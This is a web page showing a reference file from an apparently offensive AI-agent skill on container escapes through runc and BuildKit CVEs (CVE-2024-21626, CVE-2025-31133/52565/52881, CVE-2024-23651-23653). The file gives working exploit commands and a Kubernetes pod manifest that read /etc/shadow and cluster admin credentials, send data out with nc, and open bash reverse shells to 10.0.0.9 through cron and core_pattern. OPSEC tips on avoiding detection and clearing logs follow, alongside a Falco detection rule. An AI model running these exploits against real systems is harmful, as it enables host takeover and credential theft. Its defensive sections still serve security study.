Skip to content

hypnguyen1209/offensive-claude / skills/container-k8s-escape

container-k8s-escape

Flagged

Use when breaking out of a container or escalating inside Kubernetes — runc/BuildKit CVEs, privileged/capability/cgroup misconfig escapes, NVIDIA GPU toolkit escape, K8s RBAC abuse, kubelet RCE, ingress/admission-controller RCE, node-to-cluster pivot

references/runtime-cve-escapes.md

View on GitHub
# Runtime CVE Escapes: runc & BuildKit

ATT&CK: T1611 (Escape to Host) · CWE-403 (Exposure of File Descriptor to Unintended Sphere),
CWE-367 (TOCTOU Race), CWE-363 (Race Condition Enabling Link Following), CWE-59 (Link Following).

These are escapes that work against the *runtime itself* (runc / containerd / Docker / BuildKit),
independent of pod misconfiguration. They are the highest-value paths because they often work even
against a non-privileged, non-root container — what matters is the runtime *version* on the node.

## 1. CVE-2024-21626 — runc working-directory fd leak ("Leaky Vessels")

### Mechanism
`runc` opens a handle to the host's `/sys/fs/cgroup` (leaked since v1.0.0-rc93) and does **not** set
`O_CLOEXEC`, so it survives the `execve` into the container's `runc init`. That host-namespace fd
appears in the new process as `/proc/self/fd/7` (sometimes 8 or 9). If the container's working
directory (`process.cwd`) is set to `/proc/self/fd/7`, runc `chdir()`s into the **host** mount
namespace before `pivot_root`, so pid1 starts with a CWD on the real host filesystem. From there
`../../` walks the entire host root.

- Affected: runc `>= v1.0.0-rc93`, `<= 1.1.11`; containerd `< 1.6.28`/`< 1.7.13`; Docker `< 25.0.2`.
- Fixed: runc 1.1.12 (closes internal fds before `execve`; rejects cwd outside the rootfs via
  `getcwd()` → `ENOENT` check).
- CVSS 8.6. Works from inside an already-running container (attack 2/3b) **or** via a malicious image
  (attack 1) — no privileged flag and no extra capabilities required.

### Working exploit — raw runc / Docker
```bash
# Detect the runtime version on the node (from inside the container if runc is present, else infer)
runc --version 2>/dev/null; docker version 2>/dev/null | grep -i runc

# Docker: -w sets process.cwd. fd 7/8/9 reference the host CWD before pivot_root.
docker run --rm -w /proc/self/fd/8 alpine sh -c 'ls -la ../../ ; cat ../../etc/shadow'
# getcwd will error; access host via the relative ../../ walk from the leaked fd.

# Write a host file (attack 3b-style, e.g. drop a cron or SSH key on the node):
docker run --rm -w /proc/self/fd/7 alpine sh -c \
  'echo "* * * * * root bash -c \"bash -i >& /dev/tcp/10.0.0.9/443 0>&1\"" > ../../etc/cron.d/x'
```

### In Kubernetes (no interactive tty)
pid1 cannot be an interactive shell, so the payload is a one-shot/reverse shell. Set the pod's
`workingDir` to the leaked fd and let the entrypoint read the host fs and call back:
```yaml
apiVersion: v1
kind: Pod
metadata: { name: lv-escape }
spec:
  containers:
  - name: c
    image: busybox
    workingDir: /proc/self/fd/8          # leaked host-cwd fd
    command: ["sh","-c"]
    args: ["cat ../../etc/kubernetes/admin.conf 2>/dev/null; \
            cat ../../var/lib/kubelet/pki/kubelet-client-current.pem 2>/dev/null; \
            nc 10.0.0.9 443 < ../../etc/shadow"]
```
`scripts/runc_cwd_escape.py --probe` brute-forces fd 6–12 and reports which one lands on host `/`.

## 2. CVE-2025-31133 / 52565 / 52881 — runc mount-race trio (Nov 2025)

A SUSE researcher disclosed three runc bugs on 2025-11-05; all yield a full escape by obtaining
**read-write access to host `/proc`** files. Affected: runc `<= 1.2.7`, `<= 1.3.2`, `<= 1.4.0-rc.2`;
fixed in 1.2.8 / 1.3.3 / 1.4.0-rc.3 (and downstream e.g. containerd 1.6.39). runc 1.1.x is EOL/unpatched.

| CVE | Bug | Primitive |
|-----|-----|-----------|
| CVE-2025-31133 | `maskedPaths` uses `/dev/null` bind to mask files but doesn't verify the source is a real `/dev/null` inode. Swap `/dev/null` for a symlink during creation → runc RW-binds the symlink target. | RW mount of e.g. `/proc/sys/kernel/core_pattern` or `/proc/sysrq-trigger` |
| CVE-2025-52565 | `/dev/console` bind-mount of `/dev/pts/$n` happens *before* `maskedPaths`/`readonlyPaths`. Swap `/dev/pts/$n` for a symlink → bind the target over `/dev/console`. | RW access to a procfs file of choice |
| CVE-2025-52881 | Arbitrary write redirection inside `/proc` (a more advanced CVE-2019-19921). Redirect runc's own label/sysctl writes to `/proc/sysrq-trigger` (host crash) or `core_pattern` (root code-exec). **Bypasses AppArmor/SELinux.** | Root code-exec on host; LSM bypass |

### Exploitation primitive (core_pattern via a procfs RW mount)
Once any of the three gives you RW on `/proc/sys/kernel/core_pattern`, escalate to host root by
making the kernel run your handler on the next segfault (see also privileged-misconfig-escape.md):
```bash
# host core_pattern now writable from the container. '|' = pipe core to a program run as host root.
printf '|/bin/sh -c "id>/escape; bash -i >& /dev/tcp/10.0.0.9/443 0>&1"' > /proc/sys/kernel/core_pattern
# trigger a crash in the *container* — the handler runs in the HOST init namespace as root:
ulimit -c unlimited; sh -c 'kill -SIGSEGV $$'
```
The symlink-swap race itself is environment specific; `scripts/escape_enum.sh` flags vulnerable runc
versions and writable host-procfs mounts so you know the trio is in play before attempting the race.

### Mitigation that actually helps
User namespaces with the host root **not** mapped in (the procfs files are protected by Unix DAC, so
a namespaced uid can't write them). LSM is *not* sufficient because CVE-2025-52881 bypasses labels.

## 3. BuildKit Leaky Vessels — CVE-2024-23651 / 23652 / 23653

Build-time escapes: a malicious `Dockerfile`/frontend breaks out during `docker build`. Affected
BuildKit `<= v0.12.4`; fixed v0.12.5 / Moby (Docker Engine) v25.0.2.

| CVE | CVSS | Bug |
|-----|------|-----|
| CVE-2024-23651 | 8.7 | `RUN --mount=type=cache` source-path validation has a symlink race — swap the source for a symlink to an arbitrary host dir and get it mounted into the build. |
| CVE-2024-23652 | 10.0 | Build-teardown deletes "empty" mountpoint dirs but only checks files inside, not nested mounts — point the mount target at a symlink and BuildKit deletes **arbitrary host files** on cleanup. |
| CVE-2024-23653 | 9.8 | The gRPC `Containers` API can launch a build container with the `security.insecure` entitlement (elevated privileges) without it being granted — privileged build container. |

### CVE-2024-23653 PoC (privileged build container without the entitlement)
```dockerfile
# syntax=docker/dockerfile-upstream:master   # malicious/old frontend that drives the gRPC API
FROM alpine
# A frontend abusing the SecurityMode check runs this RUN as a privileged container,
# allowing the same host access as a privileged runtime (mount host disk, nsenter, etc.).
RUN --security=insecure sh -c 'nsenter -t 1 -m -u -i -n -p -- id; cat /etc/shadow'
```
```bash
DOCKER_BUILDKIT=1 docker build --no-cache -f Dockerfile.evil .
```
The practical attack vector for all three: an untrusted `Dockerfile` or `#syntax=` frontend image in
a CI/CD build (see the cicd-supply-chain skill for the delivery side).

## Detection

**Falco — runc fd-leak / host-fs drift and procfs writes:**
```yaml
- rule: Container Escape via runc Leaked FD or Host Path
  desc: container process whose cwd/open resolves into the host namespace or writes host procfs
  condition: >
    spawned_process and container and
    (proc.cwd startswith "/proc/self/fd/" or
     (evt.type in (open,openat) and fd.name in
        ("/proc/sys/kernel/core_pattern","/proc/sysrq-trigger") and evt.is_open_write=true))
  output: "Possible runtime container escape (cmd=%proc.cmdline cwd=%proc.cwd fd=%fd.name cid=%container.id)"
  priority: CRITICAL
  tags: [container, mitre_privilege_escalation, T1611]
```

**Version-based detection (best signal for these CVEs):** inventory node runtime versions
(`runc --version`, `containerd --version`, `docker version`) and alert on runc `<=1.1.11` (21626) or
`<=1.2.7/1.3.2` (the trio). For BuildKit, alert on `buildkitd <= 0.12.4` and on `#syntax=`/`--frontend`
pointing at non-allowlisted frontend images.

**IOCs:** container `workingDir`/`-w` set to `/proc/self/fd/N`; `getcwd: cannot access parent
directories` errors in container logs; `core_pattern` beginning with `|`; symlink at `/dev/null` or
`/dev/pts/N` at container-create time; `nsenter` in a build step.

## OPSEC

- **CVE-2024-21626** touches *nothing* on disk by default — it is just a cwd setting — so it is the
  quietest path; but you land on the *real* host filesystem, so any file you read/write there is
  host-side and host EDR/Falco can see it. Avoid writing host files unless needed (cron/ssh-key drops
  are the loudest part).
- **runc trio** symlink-swap is a timing race; a failed race can crash the host via `sysrq` — only
  attempt against runtimes you've confirmed unpatched, and avoid the sysrq variant on production.
- **BuildKit** escapes execute inside CI build logs (often world-readable on public repos) — assume
  detection; prefer them only where you control the build environment.
- Cleanup: remove any host artifacts you dropped (`cron.d` entries, SSH keys, `/escape` markers),
  reset `core_pattern` to its prior value (`%e.%p.core` or distro default), and clear container logs
  you control. You cannot remove host kernel-audit/Falco events.

## References

- WithSecure Labs, "runc working directory breakout (CVE-2024-21626)."
- Snyk Security Labs / Wiz, "Leaky Vessels: runC and BuildKit container escape vulnerabilities."
- opencontainers/runc GHSA-9493-h29p-rfm2 (CVE-2025-31133 masked-path) + Sysdig & CNCF technical write-ups (CVE-2025-31133/52565/52881, Nov 2025).
- Palo Alto Unit42 / Qualys ThreatPROTECT — Leaky Vessels patch matrix; `strikoder/cve-2024-21626-runc-1.1.11-escape` PoC.
writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deploymentStars: 323kUpdated Claude CodeCodexVerifiedInstall
xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved.Stars: 198kUpdated Claude CodeCodexVerifiedInstall
shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release.Stars: 118kUpdated Claude CodeCodexVerifiedInstall